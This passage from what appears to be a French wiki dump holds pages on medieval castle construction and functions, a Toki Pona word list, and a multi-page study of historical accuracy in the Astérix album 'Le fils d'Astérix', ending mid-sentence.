élever ce genre de défense. L’habitation du seigneur pouvait être au sommet de la motte (dans une tour) ou bien dans la basse-cour. La tour était encerclée par une palissade ou un muret. ==La petite enceinte circulaire== Elle mesurait moins de 100 mètres de diamètre et servait d’habitat individuel fortifié dans toute l’Europe ; elle est contemporaine des mottes castrales. La porte était gardée par une tour en bois ou en pierre. ==Les châteaux forts entre 1000 et 1150== Pendant cette période, on assiste à une progression de la pierre comme matériau de construction vers le nord. Cependant, le bois est toujours utilisé au XIIe siècle. La pierre reste un matériau coûteux. Les premiers donjons de pierre datent de la fin du Xe siècle (Doué, Langeais en 994<ref>Dominique Barthélémy, ''L’ordre seigneurial'', Paris, Seuil, 1990, page34</ref>) ; mais ils se généralisent à partir de 1050<ref> Jean-Pierre Babelon (dir.), ''Le château en France'', page 33</ref>. Ils ont souvent un plan quadrangulaire. ==Les fortifications dans la deuxième moitié du XII{{e}} siècle== À partir de 1150, les techniques castrales s’adaptent aux progrès de la poliorcétique : *utilisation du trébuchet à partir des croisades = attaque plus redoutable *multiplication des tours cylindriques, notamment pour protéger les entrées : cela permet de ne laisser aucun angle mort pour le tir. Elles résistent mieux aux projectiles. De plus, leur construction nécessite moins de pierres. Ces tours étaient coiffées de toits coniques. La défense se déplace donc vers les murailles, ce qui rend le donjon inutile. *murailles plus hautes et plus épaisses (Douvres vers 1180 : jusqu’à 7 mètres d’épaisseur pour le donjon<ref>Gauvard (dir.), ''Dictionnaire du Moyen Âge'', page 275</ref>. *Lignes successives de défense : pont-levis, courtine *châteaux plus "ramassés", plus "tassés" (réduction de la surface) ==Au XIIIe siècle : le château de cour== *Progrès de l’autorité monarchique => pacification, fortification des marches et frontières *Le seigneur de Coucy habite désormais dans un logis, plutôt que dans le donjon Meilleur confort, plus de raffinement : tapisseries. Encore du froid : papier huilé sur les fenêtres ; jonc et herbes au sols, pavés. Fourrures dans le lit. Torches en résine =Les fonctions du château fort au XIIe siècle= ==La défense== Le château sert de refuge et d'abri : il offre une protection militaire aux habitants de la région. *La basse-cour accueille les paysans réfugiés en cas d’attaque. Parfois, ce large espace accueille un marché (comme au pied du château du Puiset<ref> Robert FOSSIER, ''Enfance de l’Europe''…, page 440</ref>). On y trouvait des écuries … *Le château protège aussi les personnes qui résident dans le château : les vassaux, la famille du seigneur, les serviteurs. Il protège aussi les richesses matérielles du propriétaire. *Le donjon servait de vigie, de plate-forme d'observation ; il constituait le dernier réduit en cas d’attaque. Son plan pouvait être quadrangulaire, cylindrique ( à Fréteval), polygonal ( à Gisors, Provins, Fougères) ou ovoïde. L’épaisseur des murs variaient de 1,50 mètres à 4,50 mètres<ref> Jean-Pierre Babelon (dir.), ''Le château en France'', page 36</ref>. Il disposait de contreforts et le nombre d’ouvertures était limité (latrines, meurtrières pour le tir). La porte d’accès était en hauteur (on y parvenait par un plan incliné, une échelle ou une passerelle). Le rez-de-chaussée était souvent aveugle et voûté. Le passage entre les différents niveaux se faisait par des escaliers ou des échelles. Le confort était sommaire : quelques tentures et coffres, des cheminées, des latrines, des placards. Les niveaux étaient séparés par des planchers. Le donjon abritait parfois un oratoire. *Cette sécurité n’est pas gratuite : le seigneur réquisitionne des vivres parmi ses dépendants (réserves de nourriture en cas de siège= lard, avoine et foin pour les chevaux, céréales). Il exige la taille, un impôt arbitraire et exhorbitant. Il réclame aussi des travaux gratuits et obligatoires de la part de ses dépendants : les corvées permettait d'entretenir l'édifice (curage les fossés, levées de terres, remplacement du bois des palissades, transport de pierres, …) ; ces corvées sont de quelques jours par an : elles sont de plus en plus rachetées et des ouvriers sont payés pour faire les travaux. *Le château devait pouvoir tenir un siège : réserve d’armes, de munitions, de nourriture, puits ==Le contrôle d’un territoire et des échanges== Le site castral est choisi pour ses qualités de défense mais aussi pour tirer parti de la circulation des Hommes et des marchandises : à un carrefour routier, près d’un pont, au débouché d’un défilé naturel … Les sites en hauteur permettent d’observer et de contrôler une région. ==Le symbole d’un pouvoir banal== Il semble que c’est la principale fonction de l’édifice<ref> Robert FOSSIER, ''Enfance de l’Europe''…, page 403</ref> : *C'est le lieu de la justice seigneuriale ou féodale : la salle de réception pouvait servir de salle de tribunal ; l’aula était également destinée aux banquets ; le donjon pouvait contenir un cachot. *convocation à l’ost *collecte des redevances *dans le donjon se trouvent les archives seigneuriales, le trésor. La grosse tour est le symbole visible de la puissance du maître. Celui de Montbazon mesure 19,65 mètres sur 13,75 mètres au sol. Le donjon de Loches a une hauteur de 37 mètres. ==Le château est un lieu de vie== *Chapelle desservie par des chanoines ou un chapelain ; se situe dans la basse-cour *La basse-cour est l’endroit où les futurs chevaliers s’entraînent. =Notes= <references/> =Bibliographie= *CHATELAIN A., ''Châteaux forts et féodalité en Ile-de-France du XIe au XIIIe siècle'', Paris, 1983. *CONTAMINE P., GUYOTJEANNIN O. (ed), ''La guerre, la violence et les gens au Moyen Age'', Paris, 1996. *J. PAVIOT, J. VERGER, (textes réunis par), ''Guerre, pouvoir et noblesse au Moyen Age, Mélanges en l'honneur de Philippe Contamine'', Paris, 2000, 695 pages = 38 études sur 55 portent sur le Bas Moyen Age. *Philippe RICHARDOT, ''Végèce et la culture militaire au Moyen Age, Ve / XVe s.'', Paris, Economica, 1998, 244 pages. *Robert FOSSIER, ''Enfance de l’Europe. Aspects économiques et sociaux'', tome 1 : «l’homme et son espace, Paris», PUF, 1989 (2e édition) *Jean-Pierre Babelon (dir.), ''Le château en France'', éditions Berger-Levrault, Paris, 1986, ISBN 270130668X *Claude Gauvard, Alain de Libera, Michel Zink (dir), ''Dictionnaire du Moyen Âge'', Paris, PUF, 2002 ; article « château » pages 274-276. Toki pona - Lexique: mots simples 8267 41915 2006-05-10T19:46:38Z Tensai 654 {{Utilisateur:Tensai/modèles/Toki pona}} {{Utilisateur:Tensai/modèles/Leçons}} {{Utilisateur:Tensai/modèles/lexique}} {|border="1" |a: ah, euh, oh, hein |akesi: reptile, bactracien, animal antipathique |ala: négation, non, rien |ali: tout, tous |- |anpa: sol, bas, baisser, vaincre |ante: autre, différent |anu: ou |awen: attendre, rester, demeurer |- |en: et |ijo: chose |ike: mal, mauvais, compliqué |ilo: machine, outil |- |insa: intérieur, estomac |jaki: sale, ordure |jan: quelqu'un |jelo: jaune |- |jo: avoir |kala: poisson |kalama: poisson, animal marin |kama: venir, advenir |- |kasi: plante |ken: pouvoir, être capable de |kepeken: utiliser, en utilisant |kili: fruit |- |kin: vraiment, certes |kiwen: pierre, caillou, dur comme pierre |ko: pâte, substance semi-solide |kon: air, atmosphere |- |kule: couleur, peindre, colorer |kulupu: groupe, communauté, société |kute: écouter, entendre |lape: dormir, repos |- |laso: bleu |lawa: tête, principal, guider |len: vêtement |lete: froid |- |lili: petit |linja: ligne, cheveu |lipu: papier, page |loje: rouge |- |lon: être situé sur/en/dans, vivre, dans, sur, en |luka: cinq |lukin: voir, regard |lupa: trou, orifice |- |ma: pays |mama: parent |mani: argent |meli: féminin |- |mi: je |mije: masculin |moku: manger, nourriture |moli:tuer, mourir |- |monsi: dos, arrière |mu: onomatopée de cri d'animal |mun: lune |musi: amuser, jouer |- |mute: nombreux |nanpa: nombre, numéro |nasa: stupide |nasin: voie, méthode |- |nena: bosse |ni: cela |nimi: nom, mot |noka: jambe pied |- |oko: oeil |olin: amour, affection |ona: il |open: ouvrir, commencer |- |pakala: accident |pali: faire, travailler |pana: donner |pilin: sentir, penser |- |pimeja: noir, sombre |pini: fin, finir |pipi: insecte |poka: à côté, proche |- |poki: récipient |pona: bon, simple, réparer |sama: identique |seli: chaud |- |selo: peau, surface externe |seme: pronom interrogatif |sewi: haut, ciel |sijelo: corps |- |sike: cercle |sin: nouveau, en plus |sina: tu, vous |sinpin: mur, face, torse |- |sitelen: image, écrire, dessiner |sona: connaître, savoir |soweli: mammifère |suli: grand |- |suno: lumière, soleil |supa: meuble |suwi: sucré, doux, mignon |tan: origine, cause |- |taso: mais, seulement |tawa: aller vers, vers, pour |telo: eau, liquide |tenpo: temps |- |toki: langue, parler, dire |tomo: maison |tu: deux, diviser, séparer |unpa: sexe, avoir des relations sexuelles |- |uta: bouche |utala: combattre |walo: blanc |wan: un, unir |- |waso: oiseau |wawa: fort, intense |weka: au loin, retirer |wile: vouloir, devoir |} Astérix 8268 41985 2006-05-11T20:12:47Z Carbidfischer 1510 + de __NOTOC__ == Le côté fictif et la vérité historique dans « Le fils d’Astérix » == === Introduction === * [[Astérix/Astérix et l’histoire française|Astérix et l’histoire française]] === Le village gaulois et ses habitants === * [[Astérix/Le village gaulois|Le village gaulois]] * [[Astérix/Astérix|Astérix]] * [[Astérix/Obélix|Obélix]] * [[Astérix/Panoramix, le druide|Panoramix, le druide]] * [[Astérix/Abraracourcix, le chef de la tribu|Abraracourcix, le chef de la tribu]] * [[Astérix/Assurancetourix, le barde|Assurancetourix, le barde]] === L’armée romaine === * [[Astérix/Les légionnaires romains et leurs armes|Les légionnaires romains et leurs armes]] * [[Astérix/Les camps romains|Les camps romains]] * [[Astérix/Brutus|Brutus]] * [[Astérix/Épinedecactus|Épinedecactus]] === Le « fils d’Astérix » et sa vraie famille === * [[Astérix/Césarion, le « fils d’Astérix »|Césarion, le « fils d’Astérix »]] * [[Astérix/Cléopâtre, sa mère|Cléopâtre, sa mère]] * [[Astérix/César, son père]] === Conclusion === * [[Astérix/La fiction et la vérité dans « Le fils d’Astérix »|La fiction et la vérité dans « Le fils d’Astérix »]] === Sources === * [[Astérix/Bibliographie|Bibliographie]] * [[Astérix/Sources électroniques|Sources électroniques]] [[Catégorie:Art]] [[de:Asterix]] Astérix/Astérix et l’histoire française 8269 41993 2006-05-11T21:07:17Z Carbidfischer 1510 + de '''Astérix et l’histoire française''' Ce sont « nos ancêtres, les Gaulois » qui introduisent les classes d’histoire en France aujourd’hui ainsi qu’ils le faisaient dans la jeunesse de Goscinny et Uderzo. Mais leur création, les bandes dessinées sur Astérix, a enseigné à des millions de lecteurs plus sur l’Antiquité qu’aucune leçon scolaire. Mais peut-on mettre sa confiance en la justesse de ce qu’ils ont écrit et dessiné? En examinant la 27e de leurs BDs, « Le fils d’Astérix », je voudrais essayer de répondre à cette question. Pour être plus précis, je m’occuperai du côté fictif et de la vérité historique dans cette œuvre du neuvième art. [[Astérix/Le village gaulois|Continuer]] [[de:Asterix/ Asterix und die französische Geschichte]] Astérix/Le village gaulois 8270 41995 2006-05-11T21:09:01Z Carbidfischer 1510 faute de frappe [[Astérix/Astérix et l’histoire française|Retourner à la page précédente]] '''Le village gaulois''' Pour vérifier l’authenticité du village gaulois, il faut savoir préalablement où il se trouve. Malheureusement, on ne peut pas indiquer sa position exacte car dans toutes les cartes, il est regardé avec une loupe. Il est probablement situé au nord de cette péninsule que l’on appelle aujourd’hui la Bretagne et qui portait à l’Antiquité le nom « Armorique ». Selon César, c’était le peuple vénétien qui dominait dans cette région. Est-il donc possible qu’Astérix et ses amis fassent partie des Vénètes? Les historiens ne le pensent pas parce que cette tribu menait une vie complètement différente de celle de nos Gaulois. Les Vénètes étaient marins, leur métier étant le commerce avec la Grande-Bretagne. Ils habitaient des villes difficiles d’accès aussi bien par mer que par terre et ne s’occupaient guère d’agriculture. Bref, Astérix et les siens n’appartiennent pas aux Vénètes. Mais n’y avait-il pas de gens semblables à eux en Armorique? C’est encore une fois César qui répond à cette question: il y en avait beaucoup. Tout le long de la côte, on trouvait des Gaulois qui vivaient dans des villages sans trop s’intéresser à la mer. Par conséquent, la tribu d’Abraracourcix aurait pu exister comme décrite dans les albums de BD. Village historique ou non, un problème grave subsiste: Comment ses habitants gagnaient-ils leur vie? Obélix travaille en tant que fournisseur de menhirs, c’est vrai, mais un village d’une douzaine de maisons ne constitue pas un marché suffisamment grand pour un produit qui vit aussi longtemps qu’un mégalithe. Cétautomatix exerce le métier de forgeron, mais apparemment, il passe plus de temps à empêcher Assurancetourix, le barde, de chanter qu’à forger. Au cours de tout l’album « Le fils d’Astérix », le lecteur ne le voit jamais derrière son éclume. Son adversaire dans beaucoup de bagarres, le marchand Ordralfabétix, vend parfois quelques poissons, la plupart de son stock reste invendue ou est jetée au visage de quelqu’un. Il est donc peu probable qu’Ordralfabétix gagne assez d’argent pour payer l’achat et le transport de sa marchandise. Ses poissons lui coûtent chers parce qu’ils ne viennent pas de la mer près du village, mais de Lutèce. C’est un villageois moins connu, Déboitemenduménix, qui nous montre la base de la subsistance d’Astérix et ses amis, l’agriculture. Les villageois qui n’ont pas de profession manifeste travaillent en tant que paysans. [[Astérix/Astérix|Continuer]] [[de:Asterix/ Das gallische Dorf]] Astérix/Astérix 8271 41997 2006-05-11T21:10:15Z Carbidfischer 1510 + de [[Astérix/Le village gaulois|Retourner à la page précédente]] '''Astérix''' C’est Astérix qui joue le rôle du personnage principal dans cette BD, son nom le révèle. « Astérix » vient du mot « astérisque » qui veut dire « petite étoile ». Le mot anglais employé pour une vedette, « star », signifie, au sens propre, « étoile ». Astérix est donc la vedette de ces albums et son nom n’est qu’un jeu de mots. Pourquoi Astérix sonne-t-il néanmoins gaulois? Goscinny et Uderzo, les auteurs, ont trouvé une méthode très simple pour atteindre ce but, l’emploi du suffixe -ix. Comme pour beaucoup de Gaulois dont on connaît les noms, par exemple Vercingétorix, Dumnorix ou Orgétorix; ainsi il paraît plausible de supposer que tous les Gaulois portaient des noms analogues. Quant aux vêtements et aux armes d’Astérix, on ne peut pas les qualifier catégoriquement. Il faut les traiter cas par cas. Premièrement, il porte un casque orné de deux ailes. Alors que le port de casques de fer était courant à cette époque, personne ne mentionne des casques ailés. Toutefois, cela ne signifie pas qu’il n’y en avait pas. Beaucoup de Gaulois paraient leurs coiffures avec des cornes ou les ornementaient avec des images d’oiseaux ou d’autres animaux. Donc l’existence d’un casque comme celui d’Astérix ne peut pas être exclue. Cependant les auteurs l’ont créé en s’inspirant de l’empaquetage des cigarettes de la marque « Gauloises ». La coiffe d’Astérix introduit un symbole national permettant aux Français de s’identifier avec « leurs ancêtres, les Gaulois ». En ce qui concerne la chemise de notre héros, il est à noter que ses modèles historiques en portaient une aussi. Mais la sienne et les leurs diffèrent en plusieurs points. Par exemple, les chemises antiques disposaient de manches, contrairement à celle d’Astérix. On les ornait aussi de carreaux et de raies de couleurs variées, tandis que celle d’Astérix n’est pas du tout colorée. Mais ses vêtements ont aussi des éléments authentiques, notamment le pantalon et la ceinture. Enfin, son épée correspond à celles des Gaulois de cette époque. Sa longueur pas impressionnante la rend même plus authentique. Si l’on en croit l’écrivain grec Strabon, auteur contemporain de cette période, l’armement gaulois était accomodé à la taille de son porteur. Donc, l’arme de notre héros a la taille parfaitement appropriée. [[Astérix/Obélix|Continuer]] [[de:Asterix/Asterix]] Astérix/Obélix 8272 42000 2006-05-11T21:11:40Z Carbidfischer 1510 + de [[Astérix/Astérix|Retourner à la page précédente]] '''Obélix''' Continuons par Obélix, la moitié la plus grande du couple inséparable qui constitue le centre de ces aventures. Le nom de ce fournisseur de menhirs, inventé comme tous les autres noms gaulois dans cette BD, vient de l’obélisque, une colonne longue avec laquelle on décorait les monuments de l’Égypte ancienne. Il y a deux possibilités pour interpréter « Obélix ». Premièrement, le nom pourrait faire allusion à la stature de son porteur. Deuxièmement, il pourrait renvoyer aux menhirs que son porteur produit et vend. Quoi qu’il en soit, le mot grec « obelos » laisse imaginer encore une autre relation entre le gros mangeur de sangliers et son nom. Signifiant « broche », il renvoie à son plat favori, le sanglier grillé. Obélix exerce le métier de fournisseur de menhirs. Comme on a longtemps associé les mégalithes aux Gaulois, cette profession ne semble pas trop absurde au lecteur. Mais en vérité les menhirs ne sont pas l’œuvre de ce peuple-là. Ces monuments de pierre ont été érigés – facile à deviner – à l’âge de la pierre, dans un passé aussi éloigné d’Obélix que son époque de la nôtre. L’idée de placer un fournisseur de menhirs dans un village gaulois ne constitue donc qu’une plaisanterie. Si le menhir ne peut pas être lié à Obélix, il n’en va pas de même pour son deuxième compagnon irremplaçable, son chien Idéfix. Les historiens ont découvert que les Gaulois possédaient des bichons qui ressemblaient au moins un peu au chien en question. En Belgique, on a trouvé une statuette qui confirme l’existence d’animaux domestiques comme Idéfix. Son nom vient de l’idée fixe et a été créé dans le cadre d’un concours du magazine « Pilote » dans lequel on prépubliait les aventures d’Astérix entre 1959 et 1973. Le nom a été proposé par Hervé Ambroise, Dominique et Anne Boucard et Rémi Dujat qui ont gagné des albums signés par les auteurs. Le rasage d’Obélix à la page 6 constitue un autre détail curieux. Etonnamment, Uderzo a dessiné cette action de manière presque authentique. Le couteau dont le Gaulois se sert ressemble minutieusement à ceux que les archéologues ont trouvés dans des villages celtiques. Le résultat de son rasage satisfait les historiens aussi. Selon Poseidonios, un auteur antique d’origine grecque, les compatriotes d’Obélix, surtout les nobles, se rasaient les joues tout en laissant pousser une moustache qui couvrait souvent la bouche. Pour mieux voir ce qu’ils faisaient, ils utilisaient des miroirs métalliques, soit un bouclier poli (les hommes), soit des miroirs à main ornés (les femmes). Le gaulois en question emploie le fond d’une poêle. Pourtant une difference subsiste entre la fiction et la réalité historique: Les Gaulois de 50 avant Jésus-Christ ne connaissaient pas le savon à barbe. Bien sûr, il faut se pencher sur l’apparence physique d’Obélix en dehors de sa moustache. Les écrivains anciens témoignent de la taille et de la force extraordinaire des Gaulois. Apparemment, Obélix correspond à ces descriptions. Mais ils disent de même que les hommes de ce peuple tenaient beaucoup à ne pas devenir corpulents. Cela explique pourquoi notre fournisseur de menhirs déclare avec insistance: « Je ne suis pas gros. » Quant à ses vêtements, le casque, le pantalon et la ceinture, ils auraient pu également être portés par un Gaulois historique. Seulement le manteau manque, mais la plupart des villageois y renonçait. N’oublions pas son plat préféré, le sanglier grillé. Cette préférence le distingue de ses compatriotes historiques qui, étant des paysans, mangaient plutôt du porc. Ils servaient même des poissons, une idée absurde pour Obélix. Sans doute les achetaient-ils ailleurs que chez Ordralfabétix. Pourtant, le sanglier jouait un certain rôle dans la culture celtique de l’époque comme symbole de force et de puissance. C’est pourquoi on a retrouvé beaucoup d’images et de statuettes de cet animal-là. Mais ces chefs-d’œuvre de l’artisanat n’auraient pas pu consoler notre Gaulois un peu enveloppé car ils sont immangeables. [[Astérix/Panoramix, le druide|Continuer]] [[de:Asterix/ Obelix]] Astérix/Panoramix, le druide 8273 42070 2006-05-12T11:48:06Z Carbidfischer 1510 + de [[Astérix/Obélix|Retourner à la page précédente]] '''Panoramix, le druide''' Un autre personnage important dans le village, c’est Panoramix, le druide. Loin d’être authentiquement gaulois, son nom n’est pas sans signification comme beaucoup d’autres dans le monde d’Astérix. Le nom Panoramix vient du mot « panoramique » qui veut dire « permettant une grande visibilité ». Curieusement, on peut traduire l’appellation celtique « druide » par « le très-voyant ». Pour utiliser un terme linguistique, on emploie une tautologie quand on dit « Panoramix, le druide ». Les vêtements et les instruments du druide ressemblent fortement à ceux des druides historiques. Selon Pline, un prêtre celtique ne portait pas de pantalon comme les autres Gaulois, mais un vêtement long et blanc. En regardant Panoramix, on voit qu’il s’habille comme s’il avait lu cet auteur. Quant à sa barbe blanche, les auteurs d’Astérix suivent plutôt la tradition française qui a toujours imaginé les druides comme de vieux hommes barbus. En plus, la barbe donne à Panoramix l’apparence d’un savant. Ses instruments sont d’origine historique. Le premier, la serpe d’or avec laquelle il coupe le gui, l’ingrédient principal de la potion magique, est un outil qu’on trouve aussi dans Pline. Le deuxième, le chaudron dans lequel il prépare ses potions, ressemble à ceux que les archéologues ont retrouvés. Les gaulois les utilisaient pour faire la cuisine et aussi pour des besoins rituels. Apparemment, le druide emploie un chaudron de cuisine parce que les autres étaient, contrairement à celui de notre druide, précieusement ornementés. Le respect des villageois pour Panoramix dépasse même celui qu’ils ressentent pour Abraracourcix, leur chef. Poseidonios, l’auteur grec qui a voyagé en Gaule à l’époque d’Astérix, décrit déjà cette estime pour les druides. Selon lui, ils représentent dans la société celtique une classe privilégiée. Leur énorme autorité leur permettait, par exemple, d’arrêter deux armées en train de commencer une bataille. Le druide, seul, s’interposait et les empêchait ainsi de lutter. Faut-il s’étonner que les habitants du village tiennent beaucoup à l’opinion de Panoramix? Sa sagesse ne constitue pas son seul avantage. Nos Gaulois profitent également de sa potion magique. Bien sûr, il n’en existe pas une qui donne des forces surhumaines et il n’y en avait pas en 50 avant Jésus-Christ non plus. Mais les druides en fait utilisaient le gui pour faire des potions curatives. Avec elles, on traitait des animaux inféconds ou guérissait des intoxications. Peut-être que Goscinny, le scénariste malheureusement trop tôt décédé d’Astérix, s’est référé à un texte de Pline qui dépeint ces potions faites de gui pour décrire le travail de son druide. [[Astérix/Abraracourcix, le chef de la tribu|Continuer]] [[de:Asterix/ Miraculix, der Druide]] Astérix/Abraracourcix, le chef de la tribu 8274 42071 2006-05-12T11:50:12Z Carbidfischer 1510 + de [[Astérix/Panoramix, le druide|Retourner à la page précédente]] '''Abraracourcix, le chef de la tribu''' Le nom d’Abraracourcix, le chef de la tribu, vient de la locution « frapper à bras raccourcis » et explique donc sa façon de résoudre un problème. Contrairement à Astérix qui se sert souvent d’astuces, son chef préfère les coups de poing pour clarifier une situation embrouillée. Pourtant (ou pour cette raison?), les villageois l’acceptent en tant que supérieur. Abraracourcix habite une maison représentative dont la porte est decorée par deux boucliers et la tête d’un bœuf. Existe-t-il une preuve pour une décoration pareille? Oui et non. Les Gaulois utilisaient en fait ces moyens d’ornementation. Mais on les trouvait surtout dans leurs temples. Les maisons étaient décorées de manière semblable, mais on y préférait les têtes des ennemis vaincus! Faut-il s’étonner que les auteurs ne fassent pas de copie exacte de cet aspect de la culture gauloise? L’accessoire indispensable du chef, le bouclier arverne, possède quelques modèles bien renommés. On portait sur un pavois des personnages importants, par exemple l’empereur romain Julien et le roi franc Clovis. Tacite même témoigne d’un autre leader qui a du mal à garder l’équilibre sur son bouclier comme Abraracourcix. Le Gaulois Brinno, devenu chef de sa tribu, était élevé sur un pavois et vacillait de côté et d’autre pour ne pas tomber par terre. Donc le port sur un bouclier et le pouvoir étaient étroitement liés. Les historiens ignorent si l’on utilisait les pavois aussi en tant que partie d’une sorte de trône comme Abraracourcix le fait. Mais il est bien possible que tous ces sièges aient été détruits pendant les deux derniers millénaires, surtout s’ils étaient en bois, un matériau qui pourrit très vite. Par conséquent, on ne peut pas exclure définitivement leur existence. Le signe du pouvoir nous mène au pouvoir lui-même. Pourquoi Abraracourcix est-il le chef du village? Une anecdote d’Albert Uderzo répond à cette question: Il occupe cette position parce que son père l’occupait avant lui. On trouve une telle succession dans beaucoup de tribus gauloises. Moritasgus, par exemple, régnait sur les Sénones comme ses ancêtres. Mais il y a aussi des chefs qui devaient leur fonction aux votes de leurs subordonnés. Deux fois dans les albums d’Astérix, de telles élections ont lieu. Abraracourcix en perd une contre sa femme Bonemine. Pourtant normalement on l’accepte en tant que chef sans trop y réfléchir. D’autres tribus traitaient cette question de manière différente. Les Éduens, par exemple, organisaient des élections annuelles. [[Astérix/Assurancetourix, le barde|Continuer]] [[de:Asterix/ Majestix, der Häuptling]] Astérix/Assurancetourix, le barde 8275 42073 2006-05-12T11:52:11Z Carbidfischer 1510 + de [[Astérix/Abraracourcix, le chef de la tribu|Retourner à la page précédente]] '''Assurancetourix, le barde''' En général, le barde jouait un rôle important pour les Celtes. Mais que peut-on attendre d’un barde dont le nom sonne comme « assurance tous risques »? Le nom déjà donne à entendre qu’il n’est pas respecté ainsi que l’étaient ses modèles historiques. Tandis qu’on leur obéissait en temps de paix comme en temps de guerre, Assurancetourix même n’a pas la permission de chanter. Cependant, il répond d’une tâche considérable, l’éducation des enfants du village. Il leur enseigne les mathématiques, l’histoire et la musique. Même si l’on ignore les disciplines des Gaulois anciens, cet horaire semble raisonnable. Le barde occupe une autre position importante, il fait partie du conseil municipal avec Abraracourcix, le chef, et Panoramix, le druide. Ils prennent des décisions et ils rendent la justice. Normalement, Astérix leur expose un problème (la trouvaille d’un bébé, par exemple), Panoramix donne des explications supplémentaires, Assurancetourix exprime son opinion et Abraracourcix finalement décide sans vraiment considérer ce que les autres ont dit. En fait, la vie politique d’une tribu gauloise se déroulait d’une manière un peu plus compliquée, mais les personnages qui y participent dans la BD, le chef, le druide et le barde, le faisaient autrefois aussi. Passons de la fonction à l’apparence du barde. Assurancetourix correspond le mieux à un Gaulois historique. Sa taille surmonte celle du Romain ordinaire. Il a les cheveux blonds qu’il peigne en arrière. On trouve souvent cette coiffure dans les textes anciens qui traitent des Celtes, contrairement aux tresses d’Obélix et de beaucoup d’autres villageois qu’on ne trouve nulle part. Assurancetourix porte des vêtements authentiques, un pantalon, une cape et une chemise. Cette dernière est ornée de carreaux bleus et blancs. C’est une manière de se vêtir que les Gaulois aimaient bien. Un autre détail frappe le lecteur: Les vêtements portent les couleurs du drapeau français, bleu, blanc et rouge. Le dessinateur montre ainsi encore une fois la relation particulière entre les Français et leurs ancêtres, les Gaulois. L’instrument dont Assurancetourix se sert s’appelle la lyre. Elle ressemble à celle d’une statuette qu’on a trouvée près du village d’Astérix. Cet instrument était gravé sur des pièces de monnaie d’environ 50 avant Jésus-Christ aussi. Donc la lyre du barde est dessinée conformément à la vérité. Si on le laissait faire, il accompagnerait avec elle des chants de louange ainsi que des chansons satiriques. Il présenterait les actions héroïques des grands chefs, les travaux des guerriers courageux et les événements légendaires. Mais malheureusement Cétautomatix, le forgeron, ou le « fils d’Astérix » lui-même l’empêchent toujours de chanter. [[Astérix/Les légionnaires romains et leurs armes|Continuer]] [[de:Asterix/ Troubadix, der Barde]] Astérix/Les légionnaires romains et leurs armes 8276 42074 2006-05-12T11:53:48Z Carbidfischer 1510 + de [[Astérix/Assurancetourix, le barde|Retourner à la page précédente]] '''Les légionnaires romains et leurs armes''' Ayant traité les Gaulois de façon étendue, il faut maintenant s’occuper de leurs adversaires, les Romains. Le lecteur les rencontre principalement en tant que légionnaires. On en trouve la raison facilement: la Gaule vient d’être conquise par César. Les civils viendront plus tard. Donc c’est plutôt l’armée qui nous intéresse. La force militaire des Romains se base sur la légion. Cette unité se compose d’environ 6000 soldats, dont une majorité de fantassins lourds, les légionnaires. Chaque légion dispose aussi de troupes à cheval qu’on ne voit guère dans les bandes dessinées de Goscinny et Uderzo. Les auteurs montrent l’armée romaine comme uniforme et constituée de membres échangeables. Les Gaulois, par contre, représentent des individus qu’on peut bien distinguer. Contrairement aux Romains, ils provoquent la sympathie du lecteur qui les connaît parce qu’ils apparaissent dans chaque album. Les légionnaires qui ne jouent leur rôle que dans peu d’images n’ont pas cette possibilité. Sympathiques ou non, les soldats romains doivent tolérer une inspection de leur équipement en ce qui concerne son authenticité. Leurs casques, par exemple, n’appartiennent pas à l’époque d’Astérix. On n’a produit des casques avec des couvre-joues et des couvre-nuques qu’à partir du Principat, c’est-à-dire quelques décennies après la mort de César. Les coiffures que ses légionnaires portaient ressemblaient à des calottes hémisphériques. On les qualifie de « type Mannheim ». Par ailleurs, les anneaux ridicules sur les casques des fantassins dessinés ne constituent pas des produits de l’imagination de l’auteur. On les utilisait pour attacher des plumets. Bien sûr, on n’avait pas un tel casque sur la tête sans panache. Les soldats romains de la BD sont en avance sur leur temps. La cuirasse segmentée avec laquelle ils se protègent a été inventées dans les années 20 du Ier siècle après Jésus-Christ. Donc ils la portent 70 ans avant son invention. En fait, les combattants de cet époque portaient une cotte de mailles. Cette cuirasse est formée de milliers d’anneaux en fer et inspirée par les armures celtiques du IIIe et du IIe siècle avant notre ère. C’est elle (et non le type segmenté) qui demeure la cuirasse principale des légionnaires pendant tout l’Empire romain. Les centurions et les officiers supérieurs portent encore une autre cuirasse, dite la cuirasse musclée. Elle représente en métal le torse de son porteur. Autant qu’on sache, elle n’est pas utilisée avant le Haut-Empire et donc ne fait pas partie de l’époque césarienne. Mais on ignore son apparence précise parce que malheureusement, les archéologues n’en ont trouvé aucune. Par conséquent, il n’est pas possible de juger de l’authenticité des cuirasses musclées dessinées par Uderzo. L’armement des légionnaires correspond à la réalité historique. Ils emploient des javelots (les pila), des glaives courts (les gladii) et des boucliers rectangulaires (les scuta). Mais les Romains disposent aussi d’armes plus grandes. Notamment leur artillerie joue un rôle important pour le village gaulois dans cet album. En particulier la catapulte romaine (bien qu’on lui donne un autre nom) incendie le chez-soi de nos Gaulois. Mais leurs ennemis utilisent encore d’autres armes de siège: la baliste, la carrobaliste (une baliste plus grande et sur roues), l’onagre (une petite catapulte) et le scorpion (le modèle intermédiaire). Une grande différence existe entre l’artillerie historique et celle de la BD: les légionnaires réels la transportaient en pièces sur des animaux de bât, ceux d’Astérix doivent la tirer eux-mêmes. L’un d’entre eux décrit ce qu’ils font: « C’est un travail de Romain ça! » [[Astérix/Les camps romains|Continuer]] [[de:Asterix/ Die römischen Legionäre und ihre Waffen]] Astérix/Les camps romains 8277 42078 2006-05-12T11:56:34Z Carbidfischer 1510 + de [[Astérix/Les légionnaires romains et leurs armes|Retourner à la page précédente]] '''Les camps romains''' Si l’on parle des Romains du monde d’Astérix, il faut absolument traiter ceux qui habitent les quatre camps retranchés autour du village. Les camps portent des noms qui semblent bien romains au premier coup d’œil: Petibonum, Laudanum, Babaorum et Aquarium. En les regardant plus précisément, on reconnaît vite qu’ils n’ont pas du tout des noms authentiques. Un aquarium est un réservoir à parois de verre dans lequel on garde des poissons et des plantes aquatiques, donc un endroit où des légionnaires n’aimeraient pas faire leur service. Peut-être préféreraient-ils manger un baba au rhum, un gâteau à pâte légère imbibé d’eau-de-vie qu’on prononce exactement comme Babaorum. Il est aussi possible qu’ils aient parfois besoin de laudanum, une teinture alcoolique d’opium somnifère, par exemple quand ils ne supportent pas les ronflements de leurs voisins de lit. Mais ils ne voudraient travailler ni dans un flacon de soporifique ni dans un petit bonhomme (Petibonum), c’est-à-dire dans un corps humain. La construction des camps jouait un rôle important pour les légionnaires. En chemin, ils en élevaient un chaque jour. Après avoir marché toute la matinée, ils commençaient à construire à midi. Au début, 